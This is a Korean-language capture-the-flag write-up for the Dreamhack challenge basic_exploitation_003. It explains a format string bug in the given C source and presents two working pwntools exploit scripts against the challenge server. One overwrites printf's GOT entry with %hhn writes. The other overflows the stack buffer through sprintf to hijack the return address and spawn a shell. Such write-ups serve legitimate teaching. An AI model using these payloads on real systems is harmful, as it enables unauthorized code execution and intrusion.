[dreamhack] basic_exploitation_003 writeup

1. 문제

thumbnail
basic_exploitation_003

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/5

2. 풀이_1

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

heap_buf 변수에 0x80만큼 할당하고, stack_buf에는 0x90만큼 할당한 후, heap_buf0x80만큼 읽고 이를 다시 stack_buf에 써서 그대로 출력하는 내용이다.

목표는 main 함수에서 정상적이라면 실행되지 않는 get_shell함수를 실행시켜서 flag를 출력하는 것이 되겠다.

여기서 printf함수를 실행시킬때 %s 서식지정자를 통해 stack_buf에 있는 값을 그대로 출력시키기 때문에 Format String Bug가 발생한다. 즉, 사용자 입력을 검증없이 그대로 출력하기 때문에 발생하는 취약점이다.

예를 들어, 이 바이너리를 실행하고 aaaa%p%p%p%p 이렇게 입력을 주면 아래와 같은 출력을 볼 수 있다.

aaaa0x61616161의 형태로 바로 뒤에 붙는 것을 볼 수 있다.

FSB 취약점을 확인했다면 우리가 사용할 수 있는 서식지정자는 %n, %hn, %hhn 등이 있다. %n, %hn, %hhn 서식지정자는 각 서식지정자 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 쓴다. 단, %n은 4-byte 변수에 쓰고, %hn은 2-byte, %hhn은 1byte에 쓰는 차이점이 있다.

예를 들어 아래와 같다.

int count;
printf("Hello, world!%n", &count);
printf("%d\n", count); // 출력: 13 (즉, "Hello, world!"의 길이)

그런데 위와 같이 특정 변수(count)가 정해져있는 것이 아니라면, 바로 다음 인자를 포인터로 해석해서 그 주소에 %n 등의 서식지정자로 얻은 값을 쓴다. 즉, %n 서식지정자를 사용하기 바로 앞 인자가 갖고 있는 값을 주소로 해석하는 것이다.

그러면 여기서 우리는 무엇을 덮어야하냐면 printf함수의 GOT 주소를 덮을 것이다. GOT에 대한 자세한 설명은 아래 게시글에서 하고 넘어가겠다.


thumbnail
GOT and PLT

System Hacking - GOT and PLT

https://jjblog.duckdns.org/system%20hacking/2025/05/23/GOT-and-PLT.html

위 코드에서 printfGOT 주소를 get_shell함수의 주소로 덮으면 해당 함수를 실행할 수 있다.

먼저 get_shellprintfGOT 주소를 확인해보자.

get_shell의 주소는 0x8048669이고, printf@got0x804a010임을 알 수 있다. 따라서 상위주소는 0x804로 같고, 하위 주소 2바이트만 덮어씌우면 된다.

이번 payload에서는 서식지정자 중 %hhn을 사용하려고 한다. 그리고 앞에서 aaaa %p %p...를 입력했을때 바로 다음 %p에서 aaaa가 출력되었기 때문에, payload는 아래와 같이 구성한다.

payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += f'%97c%1$hhn'.encode() # 0x69 - 8 (p32 주소 2개해서 8바이트) = 97
payload += f'%29c%2$hhn'.encode() # 0x86 - 0x69 = 29

0x8669를 덮어씌워야하고, 주소는 리틀엔디언으로 들어가있기 때문에 0x69먼저, 그다음에 0x86을 수행한다. 세부 계산 내용은 위 코드에서 볼 수 있다.

그래서 이를 이용한 exploit을 작성하면 아래와 같다.

from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 11005)
e = ELF("./basic_exploitation_003")

# Init
printf_got = e.got['printf']
get_shell_low = 0x8669
get_shell_high = 0x0804
get_shell = e.symbols['get_shell']

payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += f'%97c%1$hhn'.encode() # 0x69 - 8 (p32 주소 2개해서 8바이트) = 97
payload += f'%29c%2$hhn'.encode() # 0x86 - 0x69 = 29
p.send(payload)

p.interactive()

이유는 모르겠지만 %hn으로 덮으려고 했는데 안됐다…

3. 풀이_2

이 문제에는 위 풀이 말고도 다른 풀이가 존재한다. 바로 sprintf함수의 FSB 취약점을 이용한 것으로, 위 풀이에서 서식지정자가 문제가 된 것처럼 sprintf에서도 똑같이 발생할 수 있다. 즉, heap_buf에서 stack_buf로 출력할 때 %1000c가 담겨있으면 stack_buf에 1000-byte를 입력할 수 있는 것이다.

gdb를 통해 보면 stack_buf[ebp-0x98]로, 152바이트 떨어져있으므로, SFP까지 4바이트를 포함해서 156바이트 더미를 덮고, 그 뒤에 있는 리턴 주소에 get_shell의 주소를 덮으면 해결이 된다.

따라서 두번째 풀이는 아래와 같다.

from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host3.dreamhack.games", 11005)
e = ELF("./basic_exploitation_003")

get_shell = e.symbols['get_shell']

payload = b'%156c'   # dummy 152 + sfp 4
payload += p32(get_shell)
p.send(payload)

p.interactive()

해결~